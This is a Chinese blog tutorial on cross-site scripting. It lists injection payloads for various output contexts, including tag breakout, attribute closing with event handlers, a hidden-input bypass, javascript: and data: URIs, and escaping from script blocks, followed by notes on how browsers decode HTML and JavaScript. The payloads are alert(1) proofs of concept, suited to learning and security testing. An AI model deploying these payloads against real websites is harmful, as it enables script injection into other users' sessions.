版权声明:本文为原创文章,未经作者允许不得任何个人、组织、机构以任何形式与名义进行转载 https://blog.csdn.net/qq_23217779/article/details/88540866
HTML标签之间
<div id="body">
[输出点]
</div>
payload:<script>alert(1)</script>
HTML标签之内
<input type="text" value=" [输出点] ">
payload:
1." onmouseover=alert(1) (闭合属性)
2." ><script>alert(1)</script> (闭合属性与标签)
当script标签没有被过滤的时候可以使用payload2,当script标签被过滤的时候可以使用payload1
假设有如下情况:
<input type="hidden" value=" [输出点] ">
这个时候
无法使用闭合属性的payload,因为hidden标签会先被浏览器识别
当hidden标签在输出点之后时
<input value=" [输出点] " type="hidden">
可以使用闭合属性的标签1 " onmouseover=alert(1) type="text
这样不仅把payload写入了页面,同时提前将type类型定义为text,这样后面的hidden就失效了
输出在src/href/action等属性内
<a href=" [输出点] ">click me</a>
payload:
javascript:alert(1) //伪协议浏览器都会支持
或者
data:text/html;base64;PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
(现版本的ie,chrome,firefox均不支持)
输出在on*事件内
on*时间是可以执行javascript脚本的,根据场景弄清楚不同的闭合策略即可
<a href="#" onclick="eval(‘[输出点]’)>click me</a>
payload:alert(1)
在Javascript代码中
<script>a=" [输出点]"</script>
payload:
</script><script>alert(1)
";alert(1)
HTML与Javascript编码
例:
A:
<input type="button" id="exec_btn" value="exec" onclick="document.write(htmlEncode('<img src=@ alert(1) />'))"/>
B:
<input type="button" id="exec_btn" value="exec" onclick="document.write('<img src=@ alert(1) />')"/>
A与B两个例子,谁会执行alert(1)?
扫描二维码关注公众号,回复:
5700127 查看本文章
javascript出现在html标签中,javascript可以进行html编码
1.进制编码:&#xH; &#D;
2.HTML实体编码
在javascript执行前,浏览器会进行html转码,所以在A例中,当浏览器执行过一次htmlencode之后,会执行script脚本,但是此时尖括号已经被转成了html的实体编码,所以A不会执行alert(1)
当输入内容出现在javascript中的时候,需要遵循javascript编码规则
1.unicode:\uH
2.普通十六进制:\xH
3.转义:在特殊字符前加\转义(\' \" \<)
javascript在执行前会自动解码
具备htmlencode功能的标签
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
浏览器解码顺序
HTML解码 -> URL解码 -> js(unicode)解码